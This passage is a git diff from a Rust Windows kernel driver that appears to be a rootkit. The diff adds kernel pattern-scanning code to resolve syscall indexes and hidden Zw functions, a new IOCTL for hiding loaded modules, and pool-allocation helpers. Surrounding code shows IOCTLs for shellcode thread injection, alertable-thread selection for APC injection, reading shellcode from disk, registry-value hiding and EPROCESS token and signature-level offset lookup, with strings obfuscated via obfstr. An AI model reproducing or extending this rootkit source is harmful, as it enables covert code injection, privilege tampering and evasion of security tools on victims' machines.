let section_header = (nt_header as usize + size_of::<IMAGE_NT_HEADERS64>()) as *const IMAGE_SECTION_HEADER;
|
||||
|
||||
for i in 0..(*nt_header).FileHeader.NumberOfSections as usize {
|
||||
let section = (*section_header.add(i)).Name;
|
||||
let name = core::str::from_utf8(§ion).unwrap().trim_matches('\0');
|
||||
|
||||
if name == section_name {
|
||||
let section_start = base_addr + (*section_header.add(i)).VirtualAddress as usize;
|
||||
let section_size = *(*section_header.add(i)).Misc.VirtualSize() as usize;
|
||||
let data = core::slice::from_raw_parts(section_start as *const u8, section_size);
|
||||
|
||||
if let Some(offset) = data.windows(pattern.len()).position(|window| {
|
||||
window.iter().zip(pattern).all(|(d, p)| *p == 0xCC || *d == *p)
|
||||
}) {
|
||||
return Some((section_start + offset) as *const u8);
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// Finds the address of a specified Zw function.
|
||||
///
|
||||
/// # Parameters
|
||||
/// - `name`: The name of the Zw function to find.
|
||||
///
|
||||
/// # Returns
|
||||
/// - `Option<usize>`: The address of the Zw function if found, or `None` if an error occurs or the function is not found.
|
||||
///
|
||||
pub unsafe fn find_zw_function(name: &str) -> Option<usize> {
|
||||
let ssn = match get_syscall_index(name) {
|
||||
Some(ssn) => ssn,
|
||||
None => return None,
|
||||
};
|
||||
|
||||
let ntoskrnl_addr = match get_module_base_address(obfstr!("ntoskrnl.exe")) {
|
||||
Some(addr) => addr,
|
||||
None => return None,
|
||||
};
|
||||
|
||||
let ssn_bytes = ssn.to_le_bytes();
|
||||
let pattern: [u8; 30] = [
|
||||
0x48, 0x8B, 0xC4, // mov rax, rsp
|
||||
0xFA, // cli
|
||||
0x48, 0x83, 0xEC, 0x10, // sub rsp, 10h
|
||||
0x50, // push rax
|
||||
0x9C, // pushfq
|
||||
0x6A, 0x10, // push 10h
|
||||
0x48, 0x8D, 0x05, 0xCC, 0xCC, 0xCC, 0xCC, // lea rax, KiServiceLinkage
|
||||
0x50, // push rax
|
||||
0xB8, ssn_bytes[0], ssn_bytes[1], 0xCC, 0xCC, // mov eax, <SSN>
|
||||
0xE9, 0xCC, 0xCC, 0xCC, 0xCC // jmp KiServiceInternal
|
||||
];
|
||||
|
||||
let dos_header = ntoskrnl_addr as *const IMAGE_DOS_HEADER;
|
||||
let nt_header = (ntoskrnl_addr as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64;
|
||||
let section_header = (nt_header as usize + size_of::<IMAGE_NT_HEADERS64>()) as *const IMAGE_SECTION_HEADER;
|
||||
|
||||
for i in 0..(*nt_header).FileHeader.NumberOfSections as usize {
|
||||
let section = (*section_header.add(i)).Name;
|
||||
let name = core::str::from_utf8(§ion).unwrap().trim_matches('\0');
|
||||
|
||||
if name == obfstr!(".text") {
|
||||
let text_start = ntoskrnl_addr as usize + (*section_header.add(i)).VirtualAddress as usize;
|
||||
let text_end = text_start + *(*section_header.add(i)).Misc.VirtualSize() as usize;
|
||||
let data = core::slice::from_raw_parts(text_start as *const u8, text_end - text_start);
|
||||
|
||||
if let Some(offset) = data.windows(pattern.len())
|
||||
.position(|window| {
|
||||
window.iter().zip(&pattern).all(|(d, p)| *p == 0xCC || *d == *p)
|
||||
}) {
|
||||
|
||||
return Some(text_start + offset);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return None
|
||||
}
|
||||
|
||||
/// Find for a thread with an alertable status.
|
||||
///
|
||||
/// # Parameters
|
||||
@@ -519,9 +219,9 @@ pub unsafe fn find_zw_function(name: &str) -> Option<usize> {
|
||||
pub unsafe fn find_thread_alertable(target_pid: usize) -> Option<*mut _KTHREAD> {
|
||||
let mut return_bytes = 0;
|
||||
ZwQuerySystemInformation(SystemProcessInformation, null_mut(), 0, &mut return_bytes);
|
||||
let info_process = ExAllocatePool2(POOL_FLAG_NON_PAGED, return_bytes as u64, u32::from_be_bytes(*b"oied")) as PSYSTEM_PROCESS_INFORMATION;
|
||||
let info_process = PoolMemory::new(POOL_FLAG_NON_PAGED, return_bytes as u64, u32::from_be_bytes(*b"oied"))?.ptr as PSYSTEM_PROCESS_INFORMATION;
|
||||
if info_process.is_null() {
|
||||
log::error!("ExAllocatePool2 Failed");
|
||||
log::error!("PoolMemory Failed");
|
||||
return None;
|
||||
}
|
||||
|
||||
@@ -543,10 +243,7 @@ pub unsafe fn find_thread_alertable(target_pid: usize) -> Option<*mut _KTHREAD>
|
||||
let threads_slice = from_raw_parts((*process_info).Threads.as_ptr(), (*process_info).NumberOfThreads as usize,);
|
||||
for &thread in threads_slice {
|
||||
let thread_id = thread.ClientId.UniqueThread as usize;
|
||||
let target_thread = match crate::thread::Thread::new(thread_id) {
|
||||
Some(e_thread) => e_thread,
|
||||
None => continue,
|
||||
};
|
||||
let target_thread = if let Some(thread) = crate::thread::Thread::new(thread_id) { thread } else { continue };
|
||||
|
||||
if PsIsThreadTerminating(target_thread.e_thread) == 1 {
|
||||
continue;
|
||||
@@ -573,8 +270,6 @@ pub unsafe fn find_thread_alertable(target_pid: usize) -> Option<*mut _KTHREAD>
|
||||
process_info = (process_info as *const u8).add((*process_info).NextEntryOffset as usize) as PSYSTEM_PROCESS_INFORMATION;
|
||||
}
|
||||
|
||||
ExFreePool(info_process as *mut _);
|
||||
|
||||
None
|
||||
}
|
||||
|
||||
@@ -617,9 +312,7 @@ pub fn InitializeObjectAttributes(
|
||||
/// - `Result<Vec<u8>, NTSTATUS>`: The content of the file as a vector of bytes if successful, or an NTSTATUS error code if an error occurs.
|
||||
///
|
||||
pub fn read_file(path: &String) -> Result<Vec<u8>, NTSTATUS> {
|
||||
let mut path_nt = String::new();
|
||||
write!(&mut path_nt, "\\??\\{}", path).unwrap();
|
||||
|
||||
let path_nt = alloc::format!("\\??\\{}", path);
|
||||
let file_name = crate::utils::uni::str_to_unicode(&path_nt);
|
||||
let mut io_status_block: _IO_STATUS_BLOCK = unsafe { zeroed() };
|
||||
let mut obj_attr = InitializeObjectAttributes(
|
||||
@@ -651,10 +344,12 @@ pub fn read_file(path: &String) -> Result<Vec<u8>, NTSTATUS> {
|
||||
return Err(status);
|
||||
}
|
||||
|
||||
let h_file = Handle::new(h_file);
|
||||
|
||||
let mut file_info: FILE_STANDARD_INFORMATION = unsafe { zeroed() };
|
||||
status = unsafe {
|
||||
ZwQueryInformationFile(
|
||||
h_file,
|
||||
h_file.get(),
|
||||
&mut io_status_block,
|
||||
&mut file_info as *mut _ as *mut c_void,
|
||||
size_of::<FILE_STANDARD_INFORMATION>() as u32,
|
||||
@@ -663,17 +358,16 @@ pub fn read_file(path: &String) -> Result<Vec<u8>, NTSTATUS> {
|
||||
};
|
||||
if !NT_SUCCESS(status) {
|
||||
log::error!("ZwQueryInformationFile Failed With Status: {status}");
|
||||
unsafe { ZwClose(h_file) };
|
||||
return Err(status);
|
||||
}
|
||||
|
||||
let file_size = unsafe { file_info.EndOfFile.QuadPart as usize };
|
||||
let mut byte_offset: LARGE_INTEGER = unsafe { zeroed() };
|
||||
byte_offset.QuadPart = 0;
|
||||
let mut shellcode = vec![0u8; file_size];
|
||||
let mut shellcode = alloc::vec![0u8; file_size];
|
||||
status = unsafe {
|
||||
ZwReadFile(
|
||||
h_file,
|
||||
h_file.get(),
|
||||
null_mut(),
|
||||
None,
|
||||
null_mut(),
|
||||
@@ -686,12 +380,9 @@ pub fn read_file(path: &String) -> Result<Vec<u8>, NTSTATUS> {
|
||||
};
|
||||
if !NT_SUCCESS(status) {
|
||||
log::error!("ZwReadFile Failed With Status: {status}");
|
||||
unsafe { ZwClose(h_file) };
|
||||
return Err(status);
|
||||
}
|
||||
|
||||
unsafe { ZwClose(h_file) };
|
||||
|
||||
return Ok(shellcode)
|
||||
}
|
||||
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
use crate::utils::uni;
|
||||
use wdk_sys::ntddk::MmGetSystemRoutineAddress;
|
||||
use crate::utils;
|
||||
|
||||
/// Gets the offset of the `SignatureLevel` in the `EPROCESS` structure.
|
||||
///
|
||||
@@ -7,7 +7,7 @@ use crate::utils;
|
||||
/// - `isize`: Returns the offset of the dynamically retrieved structure.
|
||||
///
|
||||
pub unsafe fn get_offset_signature() -> isize {
|
||||
let mut function_name = utils::uni::str_to_unicode("PsGetProcessSignatureLevel").to_unicode();
|
||||
let mut function_name = uni::str_to_unicode("PsGetProcessSignatureLevel").to_unicode();
|
||||
let address = MmGetSystemRoutineAddress(&mut function_name);
|
||||
let bytes = core::slice::from_raw_parts(address as *const u8, 20);
|
||||
let offset = bytes[15..17]
|
||||
@@ -26,7 +26,7 @@ pub unsafe fn get_offset_signature() -> isize {
|
||||
/// - `isize`: Returns the offset of the dynamically retrieved structure.
|
||||
///
|
||||
pub unsafe fn get_offset_unique_process_id() -> isize {
|
||||
let mut function_name = utils::uni::str_to_unicode("PsGetProcessId").to_unicode();
|
||||
let mut function_name = uni::str_to_unicode("PsGetProcessId").to_unicode();
|
||||
let address = MmGetSystemRoutineAddress(&mut function_name);
|
||||
let bytes = core::slice::from_raw_parts(address as *const u8, 5);
|
||||
let offset = bytes[3..5]
|
||||
@@ -45,7 +45,7 @@ pub unsafe fn get_offset_unique_process_id() -> isize {
|
||||
/// - `isize`: Returns the offset of the dynamically retrieved structure.
|
||||
///
|
||||
pub unsafe fn get_offset_token() -> isize {
|
||||
let mut function_name = utils::uni::str_to_unicode("PsReferencePrimaryToken").to_unicode();
|
||||
let mut function_name = uni::str_to_unicode("PsReferencePrimaryToken").to_unicode();
|
||||
let address = MmGetSystemRoutineAddress(&mut function_name);
|
||||
let bytes = core::slice::from_raw_parts(address as *const u8, 27);
|
||||
let offset = bytes[21..23]
|
||||
@@ -64,10 +64,10 @@ pub unsafe fn get_offset_token() -> isize {
|
||||
/// - `isize`: Returns the offset of the dynamically retrieved structure.
|
||||
///
|
||||
pub unsafe fn get_rundown_protect() -> isize {
|
||||
let mut function_name = utils::uni::str_to_unicode("PsGetThreadExitStatus").to_unicode();
|
||||
let mut function_name = uni::str_to_unicode("PsGetThreadExitStatus").to_unicode();
|
||||
let address = MmGetSystemRoutineAddress(&mut function_name);
|
||||
let bytes = core::slice::from_raw_parts(address as *const u8, 17);
|
||||
let offset = bytes[13..]
|
||||
let offset = bytes[13..15]
|
||||
.try_into()
|
||||
.map(u16::from_le_bytes)
|
||||
.expect("Slice length is not 2, cannot convert");
|
||||
|
||||
177
driver/src/utils/patterns.rs
Normal file
177
driver/src/utils/patterns.rs
Normal file
@@ -0,0 +1,177 @@
|
||||
use {
|
||||
obfstr::obfstr,
|
||||
super::{address::get_module_base_address, InitializeObjectAttributes},
|
||||
core::{
|
||||
ffi::{c_void, CStr}, mem::{size_of, zeroed},
|
||||
ptr::{null_mut, read}, slice::from_raw_parts
|
||||
},
|
||||
winapi::um::winnt::{IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, IMAGE_NT_HEADERS64, IMAGE_SECTION_HEADER},
|
||||
wdk_sys::{
|
||||
NT_SUCCESS,
|
||||
ntddk::{ZwClose, ZwMapViewOfSection, ZwOpenSection, ZwUnmapViewOfSection},
|
||||
LARGE_INTEGER, OBJ_CASE_INSENSITIVE, PAGE_READONLY, SECTION_MAP_READ,
|
||||
SECTION_QUERY, _SECTION_INHERIT::ViewUnmap
|
||||
},
|
||||
};
|
||||
|
||||
/// Scans memory for a specific pattern of bytes in a specific section.
|
||||
/// # Parameters
|
||||
/// - `base_addr`: The base address (in `usize` format) from which the scan should start.
|
||||
/// - `section_name`: The name of the section to scan. This string must match the name of the section you want to scan.
|
||||
/// - `pattern`: A slice of bytes (`&[u8]`) that represents the pattern you are searching for in memory.
|
||||
///
|
||||
/// # Returns
|
||||
/// - `Option<*const u8>`: The address of the target function if found.
|
||||
///
|
||||
pub unsafe fn scan_for_pattern(base_addr: usize, section_name: &str, pattern: &[u8]) -> Option<*const u8> {
|
||||
let dos_header = base_addr as *const IMAGE_DOS_HEADER;
|
||||
let nt_header = (base_addr + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64;
|
||||
let section_header = (nt_header as usize + size_of::<IMAGE_NT_HEADERS64>()) as *const IMAGE_SECTION_HEADER;
|
||||
|
||||
for i in 0..(*nt_header).FileHeader.NumberOfSections as usize {
|
||||
let section = (*section_header.add(i)).Name;
|
||||
let name = core::str::from_utf8(§ion).unwrap().trim_matches('\0');
|
||||
|
||||
if name == section_name {
|
||||
let section_start = base_addr + (*section_header.add(i)).VirtualAddress as usize;
|
||||
let section_size = *(*section_header.add(i)).Misc.VirtualSize() as usize;
|
||||
let data = core::slice::from_raw_parts(section_start as *const u8, section_size);
|
||||
|
||||
if let Some(offset) = data.windows(pattern.len()).position(|window| {
|
||||
window.iter().zip(pattern).all(|(d, p)| *p == 0xCC || *d == *p)
|
||||
}) {
|
||||
return Some((section_start + offset) as *const u8);
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// Finds the address of a specified Zw function.
|
||||
///
|
||||
/// # Parameters
|
||||
/// - `name`: The name of the Zw function to find.
|
||||
///
|
||||
/// # Returns
|
||||
/// - `Option<usize>`: The address of the Zw function if found, or `None` if an error occurs or the function is not found.
|
||||
///
|
||||
pub unsafe fn find_zw_function(name: &str) -> Option<usize> {
|
||||
let ssn = get_syscall_index(name)?;
|
||||
let ntoskrnl_addr = get_module_base_address(obfstr!("ntoskrnl.exe"))?;
|
||||
|
||||
let ssn_bytes = ssn.to_le_bytes();
|
||||
let pattern: [u8; 30] = [
|
||||
0x48, 0x8B, 0xC4, // mov rax, rsp
|
||||
0xFA, // cli
|
||||
0x48, 0x83, 0xEC, 0x10, // sub rsp, 10h
|
||||
0x50, // push rax
|
||||
0x9C, // pushfq
|
||||
0x6A, 0x10, // push 10h
|
||||
0x48, 0x8D, 0x05, 0xCC, 0xCC, 0xCC, 0xCC, // lea rax, KiServiceLinkage
|
||||
0x50, // push rax
|
||||
0xB8, ssn_bytes[0], ssn_bytes[1], 0xCC, 0xCC, // mov eax, <SSN>
|
||||
0xE9, 0xCC, 0xCC, 0xCC, 0xCC // jmp KiServiceInternal
|
||||
];
|
||||
|
||||
let dos_header = ntoskrnl_addr as *const IMAGE_DOS_HEADER;
|
||||
let nt_header = (ntoskrnl_addr as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64;
|
||||
let section_header = (nt_header as usize + size_of::<IMAGE_NT_HEADERS64>()) as *const IMAGE_SECTION_HEADER;
|
||||
|
||||
for i in 0..(*nt_header).FileHeader.NumberOfSections as usize {
|
||||
let section = (*section_header.add(i)).Name;
|
||||
let name = core::str::from_utf8(§ion).unwrap().trim_matches('\0');
|
||||
|
||||
if name == obfstr!(".text") {
|
||||
let text_start = ntoskrnl_addr as usize + (*section_header.add(i)).VirtualAddress as usize;
|
||||
let text_end = text_start + *(*section_header.add(i)).Misc.VirtualSize() as usize;
|
||||
let data = core::slice::from_raw_parts(text_start as *const u8, text_end - text_start);
|
||||
|
||||
if let Some(offset) = data.windows(pattern.len())
|
||||
.position(|window| {
|
||||
window.iter().zip(&pattern).all(|(d, p)| *p == 0xCC || *d == *p)
|
||||
}) {
|
||||
|
||||
return Some(text_start + offset);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return None
|
||||
}
|
||||
|
||||
/// Retrieves the syscall index for a given function name.
|
||||
///
|
||||
/// # Parameters
|
||||
/// - `function_name`: The name of the function to retrieve the syscall index for.
|
||||
///
|
||||
/// # Returns
|
||||
/// - `Option<u16>`: The syscall index if found, or `None` if an error occurs or the function is not found.
|
||||
///
|
||||
pub unsafe fn get_syscall_index(function_name: &str) -> Option<u16> {
|
||||
let mut section_handle = null_mut();
|
||||
let dll = crate::utils::uni::str_to_unicode(obfstr!("\\KnownDlls\\ntdll.dll"));
|
||||
let mut obj_attr = InitializeObjectAttributes(Some(&mut dll.to_unicode()), OBJ_CASE_INSENSITIVE, None, None, None);
|
||||
let mut status = ZwOpenSection(&mut section_handle, SECTION_MAP_READ | SECTION_QUERY, &mut obj_attr);
|
||||
if !NT_SUCCESS(status) {
|
||||
log::error!("ZwOpenSection Failed With Status: {status}");
|
||||
return None
|
||||
}
|
||||
|
||||
let mut large: LARGE_INTEGER = zeroed();
|
||||
let mut ntdll_addr = null_mut();
|
||||
let mut view_size = 0;
|
||||
status = ZwMapViewOfSection(
|
||||
section_handle,
|
||||
0xFFFFFFFFFFFFFFFF as *mut core::ffi::c_void,
|
||||
&mut ntdll_addr,
|
||||
0,
|
||||
0,
|
||||
&mut large,
|
||||
&mut view_size,
|
||||
ViewUnmap,
|
||||
0,
|
||||
PAGE_READONLY,
|
||||
);
|
||||
if !NT_SUCCESS(status) {
|
||||
log::error!("ZwMapViewOfSection Failed With Status: {status}");
|
||||
ZwClose(section_handle);
|
||||
return None
|
||||
}
|
||||
|
||||
let dos_header = ntdll_addr as *const IMAGE_DOS_HEADER;
|
||||
let nt_header = (ntdll_addr as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64;
|
||||
|
||||
let ntdll_addr = ntdll_addr as usize;
|
||||
let export_directory = (ntdll_addr + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
|
||||
let names = from_raw_parts((ntdll_addr + (*export_directory).AddressOfNames as usize) as *const u32, (*export_directory).NumberOfNames as _,);
|
||||
let functions = from_raw_parts((ntdll_addr + (*export_directory).AddressOfFunctions as usize) as *const u32, (*export_directory).NumberOfFunctions as _,);
|
||||
let ordinals = from_raw_parts((ntdll_addr + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, (*export_directory).NumberOfNames as _);
|
||||
|
||||
for i in 0..(*export_directory).NumberOfNames as isize {
|
||||
let name = CStr::from_ptr((ntdll_addr + names[i as usize] as usize) as *const i8).to_str().ok()?;
|
||||
let ordinal = ordinals[i as usize] as usize;
|
||||
let address = (ntdll_addr + functions[ordinal] as usize) as *const u8;
|
||||
if name == function_name {
|
||||
|
||||
if read(address) == 0x4C
|
||||
&& read(address.add(1)) == 0x8B
|
||||
&& read(address.add(2)) == 0xD1
|
||||
&& read(address.add(3)) == 0xB8
|
||||
&& read(address.add(6)) == 0x00
|
||||
&& read(address.add(7)) == 0x00
|
||||
{
|
||||
let high = read(address.add(5)) as u16;
|
||||
let low = read(address.add(4)) as u16;
|
||||
let ssn = (high << 8) | low;
|
||||
|
||||
ZwUnmapViewOfSection(0xFFFFFFFFFFFFFFFF as *mut c_void, ntdll_addr as *mut c_void);
|
||||
ZwClose(section_handle);
|
||||
return Some(ssn);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
ZwUnmapViewOfSection(0xFFFFFFFFFFFFFFFF as *mut c_void, ntdll_addr as *mut c_void);
|
||||
ZwClose(section_handle);
|
||||
return None
|
||||
}
|
||||
28
driver/src/utils/pool.rs
Normal file
28
driver/src/utils/pool.rs
Normal file
@@ -0,0 +1,28 @@
|
||||
use core::ffi::c_void;
|
||||
use wdk_sys::{ntddk::{ExAllocatePool2, ExFreePool}, POOL_FLAGS};
|
||||
|
||||
pub struct PoolMemory {
|
||||
pub ptr: *mut c_void,
|
||||
}
|
||||
|
||||
impl PoolMemory {
|
||||
#[inline]
|
||||
pub fn new(flag: POOL_FLAGS, number_of_bytes: u64, tag: u32) -> Option<PoolMemory> {
|
||||
let ptr = unsafe { ExAllocatePool2(flag, number_of_bytes, tag) };
|
||||
if ptr.is_null() {
|
||||
None
|
||||
} else {
|
||||
Some(PoolMemory {
|
||||
ptr,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl Drop for PoolMemory {
|
||||
fn drop(&mut self) {
|
||||
if !self.ptr.is_null() {
|
||||
unsafe { ExFreePool(self.ptr) };
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -45,6 +45,7 @@ pub const IOCTL_HIDE_UNHIDE_VALUE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x820, M
|
||||
|
||||
// Module
|
||||
pub const IOCTL_ENUMERATE_MODULE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x821, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
pub const IOCTL_HIDE_MODULE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x822, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
|
||||
// Injection
|
||||
pub const IOCTL_INJECTION_SHELLCODE_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x823, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
|
||||
@@ -1,5 +1,7 @@
|
||||
#![no_std]
|
||||
|
||||
extern crate alloc;
|
||||
|
||||
pub mod ioctls;
|
||||
pub mod vars;
|
||||
pub mod structs;
|
||||
@@ -1,4 +1,3 @@
|
||||
extern crate alloc;
|
||||
use crate::vars::Callbacks;
|
||||
|
||||
// Callback Information for Enumeration (Output)
|
||||
|
||||
@@ -1,5 +1,3 @@
|
||||
extern crate alloc;
|
||||
|
||||
use core::sync::atomic::AtomicPtr;
|
||||
use super::LIST_ENTRY;
|
||||
use ntapi::ntldr::LDR_DATA_TABLE_ENTRY;
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
extern crate alloc;
|
||||
|
||||
|
||||
pub struct TargetInjection {
|
||||
pub pid: usize,
|
||||
|
||||
@@ -6,3 +6,11 @@ pub struct ModuleInfo {
|
||||
pub name: [u16; 256],
|
||||
pub index: u8,
|
||||
}
|
||||
|
||||
// Enumerate Modules
|
||||
#[repr(C)]
|
||||
#[derive(Debug)]
|
||||
pub struct TargetModule {
|
||||
pub pid: usize,
|
||||
pub module_name: alloc::string::String,
|
||||
}
|
||||
|
||||
@@ -1,5 +1,3 @@
|
||||
extern crate alloc;
|
||||
|
||||
// Stores the target registry
|
||||
#[repr(C)]
|
||||
#[derive(Debug, Default)]
|
||||
|
||||
Reference in New Issue
Block a user